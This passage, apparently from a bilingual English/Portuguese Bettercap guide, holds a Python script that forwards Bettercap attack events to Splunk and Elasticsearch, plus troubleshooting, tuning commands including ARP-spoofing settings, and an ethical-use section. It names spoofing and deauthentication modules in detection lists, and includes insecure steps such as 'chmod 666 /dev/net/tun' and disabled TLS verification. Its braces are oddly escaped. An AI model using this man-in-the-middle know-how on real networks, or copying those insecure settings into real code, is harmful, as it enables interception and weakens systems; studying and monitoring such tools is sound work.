                'gateway_ip': event.get('data', \\\\{\\\\}).get('gateway'),
                'attack_type': 'arp_spoofing'
            \\\\})

        elif tag == 'dns.spoof':
            normalized.update(\\\\{
                'domain': event.get('data', \\\\{\\\\}).get('domain'),
                'spoofed_ip': event.get('data', \\\\{\\\\}).get('address'),
                'attack_type': 'dns_spoofing'
            \\\\})

        elif tag == 'http.proxy':
            normalized.update(\\\\{
                'method': event.get('data', \\\\{\\\\}).get('method'),
                'url': event.get('data', \\\\{\\\\}).get('url'),
                'user_agent': event.get('data', \\\\{\\\\}).get('user_agent'),
                'attack_type': 'http_interception'
            \\\\})

        return normalized

    def parse_text_event(self, line):
        """Parse non-JSON log lines"""
        return \\\\{
            'timestamp': datetime.now().isoformat(),
            'source': 'bettercap',
            'event_type': 'log',
            'severity': 'info',
            'message': line.strip()
        \\\\}

    def determine_severity(self, event):
        """Determine event severity"""
        tag = event.get('tag', '')

        high_severity_tags = ['arp.spoof', 'dns.spoof', 'wifi.deauth', 'ble.attack']
        medium_severity_tags = ['http.proxy', 'https.proxy', 'net.sniff']

        if tag in high_severity_tags:
            return 'high'
        elif tag in medium_severity_tags:
            return 'medium'
        else:
            return 'low'

    def send_to_splunk(self, events):
        """Send events to Splunk via HEC"""
        if not self.config.get('splunk', \\\\{\\\\}).get('enabled', False):
            return

        splunk_config = self.config['splunk']

        for event in events:
            splunk_event = \\\\{
                'time': event['timestamp'],
                'source': 'bettercap',
                'sourcetype': 'bettercap:event',
                'index': splunk_config.get('index', 'security'),
                'event': event
            \\\\}

            try:
                response = requests.post(
                    splunk_config['hec_url'],
                    headers=\\\\{
                        'Authorization': f"Splunk \\\\{splunk_config['token']\\\\}",
                        'Content-Type': 'application/json'
                    \\\\},
                    json=splunk_event,
                    verify=False,
                    timeout=10
                )

                if response.status_code != 200:
                    self.logger.error(f"Failed to send to Splunk: \\\\{response.status_code\\\\}")

            except Exception as e:
                self.logger.error(f"Error sending to Splunk: \\\\{e\\\\}")

    def send_to_elasticsearch(self, events):
        """Send events to Elasticsearch"""
        if not self.config.get('elasticsearch', \\\\{\\\\}).get('enabled', False):
            return

        es_config = self.config['elasticsearch']

        for event in events:
            index_name = f"bettercap-\\\\{datetime.now().strftime('%Y.%m.%d')\\\\}"

            try:
                response = requests.post(
                    f"\\\\{es_config['url']\\\\}/\\\\{index_name\\\\}/_doc",
                    json=event,
                    timeout=10
                )

                if response.status_code not in [200, 201]:
                    self.logger.error(f"Failed to send to Elasticsearch: \\\\{response.status_code\\\\}")

            except Exception as e:
                self.logger.error(f"Error sending to Elasticsearch: \\\\{e\\\\}")

    def generate_alerts(self, events):
        """Generate alerts based on event patterns"""
        alerts = []

        # Group events by type and time
        event_groups = \\\\{\\\\}
        for event in events:
            key = f"\\\\{event['event_type']\\\\}_\\\\{event.get('src_ip', 'unknown')\\\\}"
            if key not in event_groups:
                event_groups[key] = []
            event_groups[key].append(event)

        # Check for suspicious patterns
        for group_key, group_events in event_groups.items():
            if len(group_events) > 10:  # High frequency
                alerts.append(\\\\{
                    'alert_type': 'high_frequency_events',
                    'severity': 'high',
                    'description': f"High frequency of \\\\{group_events[0]['event_type']\\\\} events",
                    'event_count': len(group_events),
                    'time_window': '5 minutes',
                    'source_ip': group_events[0].get('src_ip'),
                    'timestamp': datetime.now().isoformat()
                \\\\})

        # Check for credential harvesting
        credential_events = [e for e in events if 'password' in str(e).lower()]
        if credential_events:
            alerts.append(\\\\{
                'alert_type': 'credential_harvesting',
                'severity': 'critical',
                'description': 'Potential credential harvesting detected',
                'event_count': len(credential_events),
                'timestamp': datetime.now().isoformat()
            \\\\})

        return alerts

    def process_events(self, events_file):
        """Process Bettercap events and send to SIEM"""
        self.logger.info(f"Processing events from \\\\{events_file\\\\}")

        events = self.parse_bettercap_events(events_file)

        if not events:
            self.logger.info("No events to process")
            return

        self.logger.info(f"Processing \\\\{len(events)\\\\} events")

        # Send to configured SIEM systems
        self.send_to_splunk(events)
        self.send_to_elasticsearch(events)

        # Generate and send alerts
        alerts = self.generate_alerts(events)
        if alerts:
            self.logger.info(f"Generated \\\\{len(alerts)\\\\} alerts")
            for alert in alerts:
                self.send_alert(alert)

    def send_alert(self, alert):
        """Send alert notification"""
        self.logger.warning(f"ALERT: \\\\{alert['description']\\\\}")

        # Send email if configured
        if self.config.get('email', \\\\{\\\\}).get('enabled', False):
            self.send_email_alert(alert)

    def send_email_alert(self, alert):
        """Send email alert"""
        # Implementation depends on email configuration
        pass

# Configuration
config = \\\\{
    'splunk': \\\\{
        'enabled': True,
        'hec_url': 'https://splunk.company.com:8088/services/collector/event',
        'token': 'your-hec-token',
        'index': 'security'
    \\\\},
    'elasticsearch': \\\\{
        'enabled': True,
        'url': 'http://elasticsearch.company.com:9200'
    \\\\},
    'email': \\\\{
        'enabled': False,
        'smtp_server': 'smtp.company.com',
        'from': 'security@company.com',
        'to': 'soc@company.com'
    \\\\}
\\\\}

# Usage
if __name__ == "__main__":
    import sys

    if len(sys.argv) != 2:
        print("Usage: python3 bettercap_siem.py <events_file>")
        sys.exit(1)

    events_file = sys.argv[1]
    integration = BettercapSIEMIntegration(config)
    integration.process_events(events_file)

Troubleshooting

Common Issues

Permission Denied Errors:

# Set proper capabilities
sudo setcap cap_net_raw,cap_net_admin=eip /usr/local/bin/bettercap

# Check capabilities
getcap /usr/local/bin/bettercap

# Run with sudo if capabilities don't work
sudo bettercap

# Check interface permissions
sudo chmod 666 /dev/net/tun

Interface Issues:

# List available interfaces
ip link show

# Check interface status
ip addr show eth0

# Bring interface up
sudo ip link set eth0 up

# Check for monitor mode (WiFi)
sudo iwconfig wlan0 mode monitor
sudo ip link set wlan0 up

Module Loading Issues:

# Check available modules
bettercap -help

# Update Bettercap
go install github.com/bettercap/bettercap@latest

# Check Go environment
go env GOPATH
go env GOROOT

# Verify installation
bettercap -version
bettercap -env-info

Otimização de Desempenho

Otimizando o desempenho do Bettercap:

# Increase system limits
echo "* soft nofile 65536" >> /etc/security/limits.conf
echo "* hard nofile 65536" >> /etc/security/limits.conf

# Optimize network buffers
echo 'net.core.rmem_max = 134217728' >> /etc/sysctl.conf
echo 'net.core.wmem_max = 134217728' >> /etc/sysctl.conf
echo 'net.core.netdev_max_backlog = 5000' >> /etc/sysctl.conf
sysctl -p

# Use performance caplet settings
> set net.probe.throttle 10
> set arp.spoof.interval 1s
> set ticker.period 5

Considerações de Segurança

Uso Ético

Considerações Legais:

  • Use o Bettercap apenas em redes que você possui ou tem permissão explícita para testar
  • Compreenda as leis locais relacionadas a testes de segurança de rede
  • Obtenha autorização adequada antes de realizar testes de penetração
  • Documente todas as atividades de teste para fins de conformidade
  • Respeite a privacidade e confidencialidade dos dados capturados

Segurança Operacional:

  • Use o Bettercap em ambientes de teste isolados sempre que possível
  • Implemente controles de acesso adequados para dados capturados
  • Proteja o armazenamento e transmissão de informações sensíveis
  • Atualizações regulares do Bettercap e suas dependências
  • Monitore a detecção por sistemas de segurança de rede

Proteção de Dados

Segurança de Dados Capturados:

  • Criptografe o tráfego e credenciais capturados
  • Implemente exclusão segura de arquivos temporários
  • Use canais seguros para transmissão de dados
  • Implemente políticas de retenção de dados
  • Avaliações de segurança regulares da infraestrutura de teste

Referências

Site Oficial do BettercapRepositório GitHub do Bettercaphttps://owasp.org/www-project-web-security-testing-guide/[Documentação do Bettercap](